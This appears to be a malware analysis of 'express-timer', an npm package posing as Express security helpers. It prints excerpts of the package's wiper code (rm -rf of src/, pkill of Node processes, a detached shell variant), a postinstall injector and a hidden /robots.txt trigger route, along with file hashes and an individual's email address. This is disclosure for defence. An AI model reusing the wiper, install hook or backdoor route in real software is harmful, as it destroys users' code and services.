express-timer: an npm 'security helper' that self-destructs your src/

Meme: a trench-coated cartoon detective holding a note captioned 'This message will SELF DESTRUCT..' — the package's whole personality, except the message is your src/ folder.

express-timer bills itself as lightweight security helpers for Express, but ships no helpers and exfiltrates nothing: it is a dead-man's switch that, a minute after install, deletes the project's src/ and kills the Node and PM2 processes running it.

Package metadata

Field Value
Name express-timer
Versions 1.0.2, 1.0.3, 1.0.5
Description Lightweight security helpers for Express
Author Your Name
License MIT
Main index.js
Scripts postinstall: node scripts/inject.js
Peer dependencies express >=4.0.0
Dependencies express-self-destruct1@^1.0.0, express-timer@^1.0.0 (itself)
Repository none

One wiper, two triggers

Two triggers live in two files: the timer below arms on require, and a postinstall script grafts a /robots.txt handler onto your entry point that re-runs the wipe on demand over HTTP (the elaborate scheduler branch dies on load because the package never declares the library it needs). The deletion hardens release to release — 1.0.2 kills then deletes, 1.0.3 deletes first so a hurried Ctrl-C cannot save you, and 1.0.5 detaches a background shell that outlives the clean-exiting parent.

// index.js — arms on require, no trigger, no condition
scheduleDestructionAfter()   // no arg → setTimeout(selfDestruct, 60_000)

// selfDestruct() — buildDir = join(process.cwd(), "src")
await execPromise(`rm -rf "${buildDir}"`)              // wipe the source tree
await execPromise(`pkill -f "node.*${process.cwd()}"`)   // take the running app down with it
// index.js 1.0.5 — the wipe detaches and outlives the parent
const child = spawn('/bin/sh', ['-c', `sleep 2 && rm -rf "${buildDir}"`], { detached: true, stdio: 'ignore' });
child.unref(); process.exit(0);   // parent leaves clean; the orphaned shell still nukes src/
// scripts/inject.js appends this to YOUR entrypoint; ${appVar} = your express() var
app.get('/robots.txt', (req, res) => {
  if (req.query.verify === 'destroy') { _boom(); res.status(200).send('OK'); }
  else res.send('User-agent: *\nDisallow: /');   // looks like an ordinary robots handler
});
Trait What it caught
objectives/impact/wipe/disk/mass-delete deletes <cwd>/src — armed at import and again via the grafted /robots.txt route
objectives/impact/services/stop kills the project's Node + PM2 processes (pkill, pm2 delete all, taskkill)
objectives/command-and-control/trigger/activation ?verify=destroy fires the wipe on demand over HTTP
objectives/supply-chain/install-hook/scripts/lifecycle postinstall runs the injector, which appends the self-destruct snippet to the host entrypoint
objectives/supply-chain/metadata-anomaly/manifest/npm install hooks with no repository; mature version lacking provenance
objectives/supply-chain/metadata-anomaly/package/npm missing standard metadata; placeholder author, no repo

The orphan file — ibbl_statment.php

Every archive also carries a file no code loads: a 570-line scraper for the Islami Bank Bangladesh agent portal that signs in with the author's own credentials in plain text at the top, so a real banking password (masked below) traveled out with the malware when he published a whole working directory to npm. The author who built a tool to destroy other people's code shipped his own bank password along with it.

// ibbl_statment.php — orphan at the package root, imported by nothing
define("BASE", "https://agent.islamibankbd.com");
define("USER", "mohiuddin767272@gmail.com");
define("PASS", "So•••••••");   // author's real bank login, masked here
Trait What it caught
objectives/credential-access/financial/account hardcoded-login scraper for agent.islamibankbd.com
micro-behaviors/communications/email/send/mail-func mohiuddin767272@gmail.com
micro-behaviors/communications/http/curl curl_exec against the bank portal

Indicators

Type Value
1.0.2 tarball SHA-256 8241a0b7e11687ee6713a0094cf9f834adeaf9c66ffa1b88dba42bd171a110ec
1.0.3 tarball SHA-256 a6bf1478bfa5ffa0791da533555ee35421e644d4d8d11d3c7f1afe2372e56289
1.0.2 index.js SHA-256 f0f5387c6e4f8b07ef1928d4257dfa9383163bb8988d05ef36da0ffbdcea8ac4
1.0.3 index.js SHA-256 9f8f7da91c17db216f18fcceff1006e57c18a67cf575064863454145ee6bdb76
1.0.5 tarball SHA-256 7550e1db05f30636ba0c61b09b5647a65d801d6fc9efa181f368a18ed4b41147
1.0.5 index.js SHA-256 0ed7fc907c2df0f4f7900b20f5e5bd7c6b1c08e9c0be871c3448c7c2220c878c
scripts/inject.js SHA-256 (all three versions) b1970350a7bc69bef9cf4061fd46571d344e2c11dde87f0e69ea28e983340eae
ibbl_statment.php SHA-256 (all three versions) 1a29874be6538470d99c55ea6de2cc95e44d1c8187fde1eba75dcd01cde728f0
Injected host-file marker SELF-DESTRUCT-ARMED
Hardcoded email mohiuddin767272@gmail.com

← All discoveries